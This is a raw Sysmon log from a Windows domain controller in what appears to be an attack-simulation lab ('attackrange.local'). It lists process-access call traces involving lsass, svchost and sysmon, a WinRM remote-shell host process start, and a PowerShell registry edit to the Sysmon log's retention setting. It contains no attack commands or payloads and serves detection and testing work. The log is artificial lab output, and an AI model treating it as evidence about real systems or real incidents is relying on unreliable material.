09:08:43.862{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000434Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.862{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000433Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000432Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000431Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000430Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000429Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000428Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000427Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000426Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-2724-5F80-0500-000000007E01}6401156C:\Windows\system32\csrss.exe{A5F018FF-289B-5F80-0E03-000000007E01}4796C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000425Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-289B-5F80-0E03-000000007E01}4796C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000424Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.860{A5F018FF-289B-5F80-0E03-000000007E01}4796C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-289B-5F80-7ADD-110000000000}0x11dd7a0HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-272D-5F80-0C00-000000007E01}572C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x8000000000000000423Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000422Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000421Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.846{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000420Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.815{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000419Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.815{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000418Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.799{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000417Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.799{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000416Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.799{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000415Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.799{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 13241300x8000000000000000414Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-SetValue2020-10-09 09:08:43.721{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational\RetentionDWORD (0x00000000) 10341000x8000000000000000413Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.455{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000412Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.455{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000411Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.455{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\S